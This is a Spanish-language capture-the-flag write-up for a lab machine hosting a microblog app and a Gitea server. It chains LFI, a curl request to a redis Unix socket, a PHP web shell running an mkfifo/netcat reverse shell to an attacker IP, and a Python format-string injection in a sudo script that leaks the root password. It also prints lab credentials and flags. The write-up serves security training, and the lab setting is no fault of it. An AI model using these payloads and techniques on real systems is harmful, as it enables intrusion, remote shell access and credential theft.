Conocimientos
-
Enumeración Web
-
LFI
-
Análisis de código fuente
-
Abuso de Unix Socket File - Modificación atributos en redis para settear una flag verdadera
-
Arbitrary File Upload
-
Enumeración Redis
-
Abuso de privilegio a nivel de sudoers (Escalada de Privilegios)
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.213 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-25 07:30 GMT
Nmap scan report for 10.10.11.213
Host is up (0.057s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 12.45 seconds
Escaneo de versión y servicios de cada puerto
nmap -sCV -p22,80,3000 10.10.11.213 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-25 07:30 GMT
Nmap scan report for 10.10.11.213
Host is up (0.071s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c397ce837d255d5dedb545cdf20b054f (RSA)
| 256 b3aa30352b997d20feb6758840a517c1 (ECDSA)
|_ 256 fab37d6e1abcd14b68edd6e8976727d7 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
3000/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.65 seconds
Añado el dominio microblog.htb
al /etc/hosts
Puerto 80,3000 (HTTP)
Con whatweb
analizo las tecnologías que emplea el servidor web
whatweb http://10.10.11.213
http://10.10.11.213 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], IP[10.10.11.213], Meta-Refresh-Redirect[http://app.microblog.htb], nginx[1.18.0]
ERROR Opening: http://app.microblog.htb - no address for app.microblog.htb
Añado el subdominio app.microblog.htb
al /etc/hosts
whatweb http://10.10.11.213
http://10.10.11.213 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], IP[10.10.11.213], Meta-Refresh-Redirect[http://app.microblog.htb], nginx[1.18.0]
http://app.microblog.htb [200 OK] Cookies[username], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], IP[10.10.11.213], JQuery, Script, Title[Microblog], nginx[1.18.0]
Se ve así:
Lo mismo para el puerto 3000
whatweb http://10.10.11.213:3000
http://10.10.11.213:3000 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.10.11.213], RedirectLocation[http://microblog.htb:3000/], Title[301 Moved Permanently], nginx[1.18.0]
http://microblog.htb:3000/ [200 OK] Cookies[_csrf,i_like_gitea,macaron_flash], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], HttpOnly[_csrf,i_like_gitea,macaron_flash], IP[10.10.11.213], Meta-Author[Gitea - Git with a cup of tea], Open-Graph-Protocol[website], PoweredBy[Gitea], Script, Title[Microblog], X-Frame-Options[SAMEORIGIN], nginx[1.18.0]
Me registro en el aplicativo
Creo un nuevo blog
Añado el subdominio rubbx.microblog.htb
al /etc/hosts
. Al editar la web, intercepto la petición con BurpSuite
. El parámetro id
por POST es vulenrable a LFI
POST /edit/index.php HTTP/1.1
Host: rubbx.microblog.htb
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://rubbx.microblog.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://rubbx.microblog.htb/edit/?message=Section%20added!&status=success
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: username=8f18kueulgjqjb9dbljbuaovpd
Connection: close
id=../../../../etc/passwd&header=
En la página principal se puede ver un enlace que lleva a un repositorio Git
alojado en el puerto 3000
Lo clono para analizar su código
git clone http://microblog.htb:3000/cooper/microblog
En el index.php
se puede ver la función isPro
function isPro() {
if(isset($_SESSION['username'])) {
$redis = new Redis();
$redis->connect('/var/run/redis/redis.sock');
$pro = $redis->HGET($_SESSION['username'], "pro");
return strval($pro);
}
return "false";
}
Se está estableciendo una conexión al redis
. En otro archivo aparece una función que permite subir archivos al servidor en caso de que isPro
sea verdadero
function provisionProUser() {
if(isPro() === "true") {
$blogName = trim(urldecode(getBlogName()));
system("chmod +w /var/www/microblog/" . $blogName);
system("chmod +w /var/www/microblog/" . $blogName . "/edit");
system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
}
return;
}
Puedo conectarme al Unix Socket File
mediante el método HSET
para modificar el atributo y convertirme en usuario privilegiado
curl -X "HSET" http://microblog.htb/static/unix:%2fvar%2frun%2fredis%2fredis.sock:rubbx%20pro%20true%20a/b
Al recargar, aparece una insignia en la parte superior derecha
Intercepto de nuevo la petición al editar la web. En el parámetro id
introduzco la ruta donde voy a depositar el contenido PHP para enviarme la reverse shell
id=/var/www/microblog/rubbx/uploads/pwned.php&header=<%3fphp+echo+shell_exec("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.16.40+443+>/tmp/f")%3b+%3f>
Cargo la página a través de una petición por GET
curl -s -X GET ```http://rubbx.microblog.htb/uploads/pwned.php```
Recibo la conexión en una sesión de netcat
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.40] from (UNKNOWN) [10.10.11.213] 42070
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@format:~/microblog/rubbx/uploads$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
www-data@format:~/microblog/rubbx/uploads$ export TERM=xterm
www-data@format:~/microblog/rubbx/uploads$ export SHELL=bash
www-data@format:~/microblog/rubbx/uploads$ stty rows 55 columns 209
Me conecto al servicio del redis
y listo las KEYS
www-data@format:/tmp$ redis-cli -s /run/redis/redis.sock
redis /run/redis/redis.sock> KEYS *
1) "rubbx"
2) "PHPREDIS_SESSION:admin"
3) "PHPREDIS_SESSION:4djgijeqgnfeohsl2echr12g56"
4) "cooper.dooper"
5) "PHPREDIS_SESSION:u44up1ppmb76sdm93gqah49qhv"
6) "PHPREDIS_SESSION:ddjirut3hkjs0n9m3ivveuhcn5"
7) "PHPREDIS_SESSION:k2sgkup2l238ve7njekgtdoti3"
8) "PHPREDIS_SESSION:jfbt3kj53f59hf2lfamb1gfgsg"
9) "cooper.dooper:sites"
10) "PHPREDIS_SESSION:8f18kueulgjqjb9dbljbuaovpd"
11) "rubbx:sites"
12) "PHPREDIS_SESSION:2k9fth661f9141db3c969c1les"
13) "PHPREDIS_SESSION:ricua5lum706b03to5kt263mfj"
Listo los campos para cooper.dooper
redis /run/redis/redis.sock> HGETALL cooper.dooper
1) "username"
2) "cooper.dooper"
3) "password"
4) "zooperdoopercooper"
5) "first-name"
6) "Cooper"
7) "last-name"
8) "Dooper"
9) "pro"
10) "false"
Su contraseña aparece en el cuarto. Puedo ver la primera flag
www-data@format:/tmp$ su cooper
Password:
cooper@format:/tmp$ cd
cooper@format:~$ cat user.txt
a041a3b0af5dfc13d0b64e3f2dfdcaef
Escalada
Tengo un privilegio a nivel de sudoers
cooper@format:~$ sudo -l
[sudo] password for cooper:
Matching Defaults entries for cooper on format:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
No tengo capacidad de escritura
cooper@format:~$ ls -l /usr/bin/license
-rwxr-xr-x 1 root root 3519 Nov 3 2022 /usr/bin/license
Se trata de un script de python
cooper@format:~$ file /usr/bin/license
/usr/bin/license: Python script, ASCII text executable
cooper@format:~$ cat /usr/bin/license
#!/usr/bin/python3
import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.fernet import Fernet
import random
import string
from datetime import date
import redis
import argparse
import os
import sys
class License():
def __init__(self):
chars = string.ascii_letters + string.digits + string.punctuation
self.license = ''.join(random.choice(chars) for i in range(40))
self.created = date.today()
if os.geteuid() != 0:
print("")
print("Microblog license key manager can only be run as root")
print("")
sys.exit()
parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')
secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
f = Fernet(encryption_key)
l = License()
#provision
if(args.provision):
user_profile = r.hgetall(args.provision)
if not user_profile:
print("")
print("User does not exist. Please provide valid username.")
print("")
sys.exit()
existing_keys = open("/root/license/keys", "r")
all_keys = existing_keys.readlines()
for user_key in all_keys:
if(user_key.split(":")[0] == args.provision):
print("")
print("License key has already been provisioned for this user")
print("")
sys.exit()
prefix = "microblog"
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
print("")
print("Plaintext license key:")
print("------------------------------------------------------")
print(license_key)
print("")
license_key_encoded = license_key.encode()
license_key_encrypted = f.encrypt(license_key_encoded)
print("Encrypted license key (distribute to customer):")
print("------------------------------------------------------")
print(license_key_encrypted.decode())
print("")
with open("/root/license/keys", "a") as license_keys_file:
license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")
#deprovision
if(args.deprovision):
print("")
print("License key deprovisioning coming soon")
print("")
sys.exit()
#check
if(args.check):
print("")
try:
license_key_decrypted = f.decrypt(args.check.encode())
print("License key valid! Decrypted value:")
print("------------------------------------------------------")
print(license_key_decrypted.decode())
except:
print("License key invalid")
print("")
Se puede abusar de el formato de cadena. En este artículo está detallado. Desde el redis
, modifico mi nombre de usuario
cooper@format:~$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> hset rubbx username {license.__init__.__globals__}
(integer) 0
Al volver a ejecutar, se genera un error donde se leakean datos
ooper@format:~$ sudo license -p rubbx
Plaintext license key:
------------------------------------------------------
microblog{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fdff1e84c70>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/usr/bin/license', '__cached__': None, 'base64': <module 'base64' from '/usr/lib/python3.9/base64.py'>, 'default_backend': <function default_backend at 0x7fdff1cd7430>, 'hashes': <module 'cryptography.hazmat.primitives.hashes' from '/usr/local/lib/python3.9/dist-packages/cryptography/hazmat/primitives/hashes.py'>, 'PBKDF2HMAC': <class 'cryptography.hazmat.primitives.kdf.pbkdf2.PBKDF2HMAC'>, 'Fernet': <class 'cryptography.fernet.Fernet'>, 'random': <module 'random' from '/usr/lib/python3.9/random.py'>, 'string': <module 'string' from '/usr/lib/python3.9/string.py'>, 'date': <class 'datetime.date'>, 'redis': <module 'redis' from '/usr/local/lib/python3.9/dist-packages/redis/__init__.py'>, 'argparse': <module 'argparse' from '/usr/lib/python3.9/argparse.py'>, 'os': <module 'os' from '/usr/lib/python3.9/os.py'>, 'sys': <module 'sys' (built-in)>, 'License': <class '__main__.License'>, 'parser': ArgumentParser(prog='license', usage=None, description='Microblog license key manager', formatter_class=<class 'argparse.HelpFormatter'>, conflict_handler='error', add_help=True), 'group': <argparse._MutuallyExclusiveGroup object at 0x7fdff087d820>, 'args': Namespace(provision='rubbx', deprovision=None, check=None), 'r': Redis<ConnectionPool<UnixDomainSocketConnection<path=/var/run/redis/redis.sock,db=0>>>, '__warningregistry__': {'version': 0}, 'secret': 'unCR4ckaBL3Pa$$w0rd', 'secret_encoded': b'unCR4ckaBL3Pa$$w0rd', 'salt': b'microblogsalt123', 'kdf': <cryptography.hazmat.primitives.kdf.pbkdf2.PBKDF2HMAC object at 0x7fdff087deb0>, 'encryption_key': b'nTXlHnzf-z2cR0ADCHOrYga7--k6Ii6BTUKhwmTHOjU=', 'f': <cryptography.fernet.Fernet object at 0x7fdff08a2640>, 'l': <__main__.License object at 0x7fdff08a2730>, 'user_profile': {b'username': b'{license.__init__.__globals__}', b'password': b'rubbx', b'first-name': b'rubbx', b'last-name': b'rubbx', b'pro': b'false'}, 'existing_keys': <_io.TextIOWrapper name='/root/license/keys' mode='r' encoding='UTF-8'>, 'all_keys': ['cooper.dooper:gAAAAABjZbN1xCOUaNCV_-Q12BxI7uhvmqTGgwN12tB7Krb5avX5JdSzE2dLKX53ZpHxHrzpNnAwQ6g1FTduOtBAl4QYRWF27A2MPfedfMzgNZrv_VqUwCAfzGZeoQCv1-NBIw6GaoCA0yIMPl0o3B6A2_Hads32AsdDzOLyhetqrr8HUgtLbZg=\n'], 'user_key': 'cooper.dooper:gAAAAABjZbN1xCOUaNCV_-Q12BxI7uhvmqTGgwN12tB7Krb5avX5JdSzE2dLKX53ZpHxHrzpNnAwQ6g1FTduOtBAl4QYRWF27A2MPfedfMzgNZrv_VqUwCAfzGZeoQCv1-NBIw6GaoCA0yIMPl0o3B6A2_Hads32AsdDzOLyhetqrr8HUgtLbZg=\n', 'prefix': 'microblog', 'username': '{license.__init__.__globals__}', 'firstlast': 'rubbxrubbx'}mU=YbrzL3D"#X(6e9{%n}9;GUw-L&vQ,^n<*Ou\orubbxrubbx
Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABkbyjAFa2M5TmMX8ugcOiWEV5naEzwApo62mpjKLAM1E1-60Xz66aiOuJ521yvk-LCKmfsRRRS1nN01TtJwKlYAHqSPClngCrsVU-Jy20zVdqGqx55EKF1_2PKdm8VGlaUCfSdpakEHeO0sYYnDrumqgrNKdiedp9gW7vlEfda3JoGZZeYji7jWWafwI1lWkX2X7t0LO63_vZtk_jMcN0MyLbvfkeokvUZk-EUv2ZYMJXLlBoDNMmHPzGr2mtQkotMavPnOe7iRhRzKxRG15Da68dSh-TWoMMTXRHB70o2nyFbriO_91HCNZyf1TR9cmyUEj8G3Zz3j2yZqUJcK33I5dbKc1RcFJhmeGgR5xVJLr36g2ZmC2GzhioUYQFqqW_DPnYBeqAQc0clTVUkvOSoSIkaNOMyeVt66Mg7eyHlxgLpAgbWapU2HgqD0qUNeWLT8yMuekcf9iFdMTVzsF3T_ySd2f-VhDc9fFAjEW_p6RmAqf0psi4GiQZBpa7y515TgSiru9RdWu7OoHFcdRgT2i1LgECaHL-vjTl3Rtud-MWI2L2IyXvbZM6VTWRYL4icXAAfwTrOC_Po8TQUclBnWPJam9O7SJISTv4Q1ynYkMIioyRm4zLxT4rWSoB-fBl7maLNPEeml4rJSeapINVwnE9JIYSqmLjRnm6ELs_BwGeu32p-OtfHa4YHdoQcjG3WYl_arWoDZBoFn0jxbd84H_909AzR0OUjI2Om8M4DuJtXGgUKxmOuqC6HFek0lthCIz-6WAC7DobVQM9a-OQ6vTbPlNa6jdebOx30Il8V8cT9qxTRA3C8HtnfcFWrDemDsmAGUP7GQ1CBLHgkhf3z-lUzUZ_tUtS9UG7YNq4EfgHdRw5ga3HUuT4vr5UP7jC_RNxww5l8Q-XYiejPVtPF0uN7G_x3YwP8yhuq7AEK49cr2XvEidB6jegy9TUaPI2fgV6axSUvo8-5Qruzz-HpWPAYkVbKFX46FAjHpz_qYmmY3h79_6JfOCqmflLbnEx3mk6osjbHKEaOuj5LF06cGJD7q00FPJhPPoejQSUVlqr6NVqoXpLzGEkKTaW1HAFIe_husZtpQxyXqaoLqVQLAd1bt5I6w8tUrFo9L_nJmJ4ACs055LOsr-8AcK2AHfeGBp6cn5hKALJxnTBmGsaWuumCJ6oYXBkIK83sWwd_hLmOg_-NUfljsuDJqGoPmxZsV8wDQGQ9ycYG4FLUat30_0s0qohIE7EW8jExwdTYdRxcAs3c5UCWZhmajhmJGvuCFY5W2zZ0mIetDSK4zLpLwxDj5yRmhsKzJ1VM3mkY16ZP_Ab-RUJvsCXLWJIYXQ9HHEaYTSVfkgTfYxV_1S3O1fc31DIdx6x6QaGgS63rO-rZlCvOSPvf8-bJdeV4k_V8rnpwLKzBWsRQj5qWtJ3Zass41jBIhX7bSZcu3Gs05s6A4zOqG-HD5FFdLRmHmVOG3BDM8e839DuEeDkhu8OmxH9_LoitXYsv-78kp7tPX7o1j5kNmp65wxXkFRirKuuITd8pd8htZhYqNHsP4sVAghhoM1HrkOymLQDKygY9CvmpNwKxnjG6diltILIhsWy98qqjIIGAxcpXJqVT9SWR-dZLnireSnUdsL7S9AgW1NSCRLo-vDzYLTn42jEHLfhIJ9vsdah-TCo_nKpL25zE28Ps2SHHOMa__j7gWkN3qL74qArffLfEyzqi4-N6fWluLUmUSLs9zwuduiLq-tq-nHDRQr8sx-77Akz4e3sx90f6Y0AclpNy1uxSBJg80yfobDD0I37_c7CZ_a68z-4iTc0w3-F1NZa38Xv8dVkwSnHnNanFSv9g68LE2X4Mr927uoHHRy_TRvwuEi94FffXkMfSI2De9tPe_9l-1ovxhsY39GLrLDJlNUVcbL2TNTS5epHP8sw8SkBg1mALeUsgXegFj_1i7nEqXhrj6BvUBmu4CbXtZ00pBsPMdrPEqhiGI2jtuwDMPVQEOoczXi9Taoocbxk3H_2St9R1NGVA5oliVnAsrqL6su4r_G8CAiXlllGdS2xgqqcml6QfSyUhcDX9u4XlmJa80Oc_0RsFyuYLnd_tMn-6kI04k3KmX1LsP5JptsdQg-ZnBN5xpXvjJuCr0RE3KduA82K_lxtnABVLx45ZsanIbdjhdQMCH_22I-6xjPYkQBdc8BoN5dRuyaLX9mEC247f5aXgPH39DODGN7oEG3CdbR1VQlyqUG9H8sfYps0Fg62m1e_pLRRBMsn2fLgBpFp2dvR-Ovv5ZzIllvPqwkYIQ67-g7xqPHgbIYIBNmEiMLcaTCG-M1BStJoK1jK7eaKwbudNWFm0hc_5OgJY8wxKlzjxD2rA5IQtiNHU_A3hQ5hZvdAlmbaj6iYiTHgC-HRdnzkHfgQ9JxTZLw_4xeSRnR-PllJozU71IuEMPGZcc7hclZfkizUZ0N-Cw-zoJFe7KY-yJH_HBHxQqIsGBp-Br6x3oKUaFiNYCEr5ugkkE7L6NLaxZolIbZ-LdIOiVtVi2W_ZF76yxxGUY2TdQeoH_HP4jHaER4-V-BAaWHzi0dv7u2vGrSste9Gl0AN-oIi-zqvTwtgqwxhmJi4OpzAIMrwjyMK2IP5XwAMOa53d-MBdxEyZy2k7E73iz7y8DC2Ll0KvkevOTWUHg9b4YBUhP2Rd6Jg_-91-z-BxcpDTE4LYM1MVo-wZi7LJpp7MDl0Y_B3cpSGbMNsua11hVywxDQg0Zh-iuCXIyrFqH-NcWXEsm-CykJ2xtWyMkOe3T0WyX4o2PgbjwJwYF4ioijxUFg3WozwFp6GeWhRqhBZ272rTmxO_FGaT3_Pa4crvXvConLTsH9Ldr9XAq31T0Zkmyk5XHlZrX-02w1SlD-f8kuVLd0hDSfi9EFztBbO2q-3w4Kx6QA93c0zTEMiqg2RgDSY1nx-w6iz7JVseXt-R4UmUyox1rlrjkdIeHWCsN1pPhacu5CYzLBnOqJUu_gk33AFBt25FsO59DPHt80PVvG60uBbOyjN1el2irulUf5TOcx5fUZmCRVuDcN53xSKroZ02-QYNlHks5pvUEZh7-6Dwg-q43XjTAtpbT260uLCB9qwH9yaPvhXQxAel8Zn9D7uQQPVeJxA5QdHPMR0eNGBCfYJtpej2BkdndMvvEgVB1PiCPlKZmQf8WAQkF28J4an_08lIQpFu1urYfxY_yfzYwPn1pVwdFrN42vrmHz5eVVsX_5K1tHGSRea9Ud03htDiHyCgYvq9QeND-kTh_FQv5OFweQcFJ91ijCI2rZyioOxzh56WbQbvIUoA09qCC3gNuK2kHEpSu5UsMgQlP0FeF2PzBnI8xXXyvczbTbqrrpfi-UANKAcL3tGnJJ8XYkbUMbbuJAt2c97X9Uakd22AFNauBn8L0VWKDdyvsIDKiCz1EhGKVecOpv7t2AG4Re64YqJvilELvtb8SbTDoDo9ZescbGzrXPqoR_y3NfuIWoY2IEQYx64-idYAYCJl2yElFh3gjlA0CF-DGFm-rHrbq7NTYhVFG06L5DOOCI0NoiFjN2jE8aEf-JAAem39oUiddYbZ2IpvmpVAaHHWg1kMdAVtE3a8NPgWaX576suoknoX2kQojZksV-h0Ugy5KjaPinBkj-hZBWDr9wudVQcir7jsr-lcM6M0VemsazqKSEmnAb75QcY1Zt1O6FZnzXPHDkuyPwZWWy5kz-aM90TabNa5wAnTa4rUTAbGSWa_Y1LbnjYDfBpVwVTl4KdYwuU7Hy0H3bz5ql3YWX2cmFREZE2DlzTcHjzpu_0xnRZwmvXuIH_rLnqLy2U=
La contraseña para root
es unCR4ckaBL3Pa$$w0rd
. Puedo ver la segunda flag
cooper@format:~$ su root
Password:
root@format:/home/cooper# cat /root/root.txt
010865b6178c43aafe71bbb559ebe385